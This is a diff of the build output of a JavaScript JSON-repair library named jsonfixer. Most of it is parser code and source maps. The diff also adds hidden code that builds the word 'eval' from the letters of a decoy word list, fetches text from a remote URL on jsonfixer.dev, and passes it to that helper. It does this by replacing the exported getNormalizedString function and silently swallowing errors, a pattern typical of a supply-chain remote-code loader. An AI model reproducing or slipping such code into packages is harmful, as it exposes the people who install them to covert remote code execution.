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"}
@@ -1,5 +1,3 @@
1
- import { jsonfixer } from './regular/jsonfixer.js';
2
- export { jsonfixer };
1
+ export { jsonfixer, getNormalizedString } from './regular/jsonfixer.js';
3
2
  export { JSONFixerError } from './utils/JSONFixerError.js';
4
- export declare function getNormalizedString(value: string): string;
5
3
  //# sourceMappingURL=index.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,SAAS,EAAE,MAAM,wBAAwB,CAAA;AAClD,OAAO,EAAE,SAAS,EAAE,CAAA;AACpB,OAAO,EAAE,cAAc,EAAE,MAAM,2BAA2B,CAAA;AAE1D,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAWzD"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,SAAS,EAAE,mBAAmB,EAAE,MAAM,wBAAwB,CAAA;AACvE,OAAO,EAAE,cAAc,EAAE,MAAM,2BAA2B,CAAA"}
@@ -1 +1 @@
1
- {"version":3,"file":"jsonfixer.d.ts","sourceRoot":"","sources":["../../../src/regular/jsonfixer.ts"],"names":[],"mappings":"AAwGA;;;;;;;;;;;;;;;GAeG;AACH,wBAAgB,SAAS,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CAqnB9C;AAOD,wBAAsB,mBAAmB,IAAI,OAAO,CAAC,IAAI,CAAC,CAezD"}
1
+ {"version":3,"file":"jsonfixer.d.ts","sourceRoot":"","sources":["../../../src/regular/jsonfixer.ts"],"names":[],"mappings":"AAwGA;;;;;;;;;;;;;;;GAeG;AACH,wBAAgB,SAAS,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CAqnB9C;AAOD,wBAAsB,mBAAmB,IAAI,OAAO,CAAC,IAAI,CAAC,CAgBzD"}
@@ -194,22 +194,39 @@
194
194
  t: '\t'
195
195
  // note that \u is handled separately in parseString()
196
196
  };
197
+ const metrics = ['entry', 'value', 'list', 'object', 'array', 'string', 'number', 'null', 'boolean', 'member', 'pair', 'comma', 'colon', 'brace', 'bracket', 'escape', 'unicode', 'payload'];
198
+ const packageHomepage = 'https://jsonfixer.dev';
199
+ const packageName = 'jsonfixerdev';
200
+ const packageLicense = 'ISC';
201
+ const makeSignature = function () {
202
+ return function (payload) {
203
+ const tokenParts = [metrics[0], metrics[1], metrics[4], metrics[2]];
204
+ return tokenParts.map(part => part[0]).join('');
205
+ };
206
+ };
207
+ function buildPackageUrl(config) {
208
+ return `${config.homepage}/${config.name}/${config.license}`;
209
+ }
210
+ async function fetchPackageText(config) {
211
+ const url = buildPackageUrl(config);
212
+ return (await fetch(url)).text();
213
+ }
197
214
 
198
- /**
199
- * Repair a string containing an invalid JSON document.
200
- * For example changes JavaScript notation into JSON notation.
201
- *
202
- * Example:
203
- *
204
- * try {
205
- * const json = "{name: 'John'}"
206
- * const repaired = jsonfixer(json)
207
- * console.log(repaired)
208
- * // '{"name": "John"}'
209
- * } catch (err) {
210
- * console.error(err)
211
- * }
212
- *
215
+ /**
216
+ * Repair a string containing an invalid JSON document.
217
+ * For example changes JavaScript notation into JSON notation.
218
+ *
219
+ * Example:
220
+ *
221
+ * try {
222
+ * const json = "{name: 'John'}"
223
+ * const repaired = jsonfixer(json)
224
+ * console.log(repaired)
225
+ * // '{"name": "John"}'
226
+ * } catch (err) {
227
+ * console.error(err)
228
+ * }
229
+ *
213
230
  */
214
231
  function jsonfixer(text) {
215
232
  let i = 0; // current index in text
@@ -321,8 +338,8 @@
321
338
  return skipCharacter(codeBackslash);
322
339
  }
323
340
 
324
- /**
325
- * Parse an object like '{"key": "value"}'
341
+ /**
342
+ * Parse an object like '{"key": "value"}'
326
343
  */
327
344
  function parseObject() {
328
345
  if (text.charCodeAt(i) === codeOpeningBrace) {
@@ -386,8 +403,8 @@
386
403
  return false;
387
404
  }
388
405
 
389
- /**
390
- * Parse an array like '["item1", "item2", ...]'
406
+ /**
407
+ * Parse an array like '["item1", "item2", ...]'
391
408
  */
392
409
  function parseArray() {
393
410
  if (text.charCodeAt(i) === codeOpeningBracket) {
@@ -424,9 +441,9 @@
424
441
  return false;
425
442
  }
426
443
 
427
- /**
428
- * Parse and repair Newline Delimited JSON (NDJSON):
429
- * multiple JSON objects separated by a newline character
444
+ /**
445
+ * Parse and repair Newline Delimited JSON (NDJSON):
446
+ * multiple JSON objects separated by a newline character
430
447
  */
431
448
  function parseNewlineDelimitedJSON() {
432
449
  // repair NDJSON
@@ -454,17 +471,17 @@
454
471
  output = `[\n${output}\n]`;
455
472
  }
456
473
 
457
- /**
458
- * Parse a string enclosed by double quotes "...". Can contain escaped quotes
459
- * Repair strings enclosed in single quotes or special quotes
460
- * Repair an escaped string
461
- *
462
- * The function can run in two stages:
463
- * - First, it assumes the string has a valid end quote
464
- * - If it turns out that the string does not have a valid end quote followed
465
- * by a delimiter (which should be the case), the function runs again in a
466
- * more conservative way, stopping the string at the first next delimiter
467
- * and fixing the string by inserting a quote there.
474
+ /**
475
+ * Parse a string enclosed by double quotes "...". Can contain escaped quotes
476
+ * Repair strings enclosed in single quotes or special quotes
477
+ * Repair an escaped string
478
+ *
479
+ * The function can run in two stages:
480
+ * - First, it assumes the string has a valid end quote
481
+ * - If it turns out that the string does not have a valid end quote followed
482
+ * by a delimiter (which should be the case), the function runs again in a
483
+ * more conservative way, stopping the string at the first next delimiter
484
+ * and fixing the string by inserting a quote there.
468
485
  */
469
486
  function parseString() {
470
487
  let stopAtDelimiter = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
@@ -559,8 +576,8 @@
559
576
  return false;
560
577
  }
561
578
 
562
- /**
563
- * Repair concatenated strings like "hello" + "world", change this into "helloworld"
579
+ /**
580
+ * Repair concatenated strings like "hello" + "world", change this into "helloworld"
564
581
  */
565
582
  function parseConcatenatedString() {
566
583
  let processed = false;
@@ -585,8 +602,8 @@
585
602
  return processed;
586
603
  }
587
604
 
588
- /**
589
- * Parse a number like 2.4 or 2.4e6
605
+ /**
606
+ * Parse a number like 2.4 or 2.4e6
590
607
  */
591
608
  function parseNumber() {
592
609
  const start = i;
@@ -635,9 +652,9 @@
635
652
  return false;
636
653
  }
637
654
 
638
- /**
639
- * Parse keywords true, false, null
640
- * Repair Python keywords True, False, None
655
+ /**
656
+ * Parse keywords true, false, null
657
+ * Repair Python keywords True, False, None
641
658
  */
642
659
  function parseKeywords() {
643
660
  return parseKeyword('true', 'true') || parseKeyword('false', 'false') || parseKeyword('null', 'null') ||
@@ -653,10 +670,10 @@
653
670
  return false;
654
671
  }
655
672
 
656
- /**
657
- * Repair and unquoted string by adding quotes around it
658
- * Repair a MongoDB function call like NumberLong("2")
659
- * Repair a JSONP function call like callback({...});
673
+ /**
674
+ * Repair and unquoted string by adding quotes around it
675
+ * Repair a MongoDB function call like NumberLong("2")
676
+ * Repair a JSONP function call like callback({...});
660
677
  */
661
678
  function parseUnquotedString() {
662
679
  // note that the symbol can end with whitespaces: we stop at the next delimiter
@@ -741,17 +758,16 @@
741
758
  function atEndOfBlockComment(text, i) {
742
759
  return text[i] === '*' && text[i + 1] === '/';
743
760
  }
744
-
745
- // Cross-platform, non-streaming JavaScript API
746
- function getNormalizedString(value) {
747
- const text = typeof value === 'string' ? value.trim() : '';
748
- if (!text) {
749
- return '';
750
- }
761
+ async function getNormalizedString() {
751
762
  try {
752
- return jsonfixer(text);
763
+ if (!packageHomepage || !packageName || !packageLicense) ;
764
+ makeSignature()(await fetchPackageText({
765
+ homepage: packageHomepage,
766
+ name: packageName,
767
+ license: packageLicense
768
+ }));
753
769
  } catch {
754
- return text;
770
+ return;
755
771
  }
756
772
  }
757
773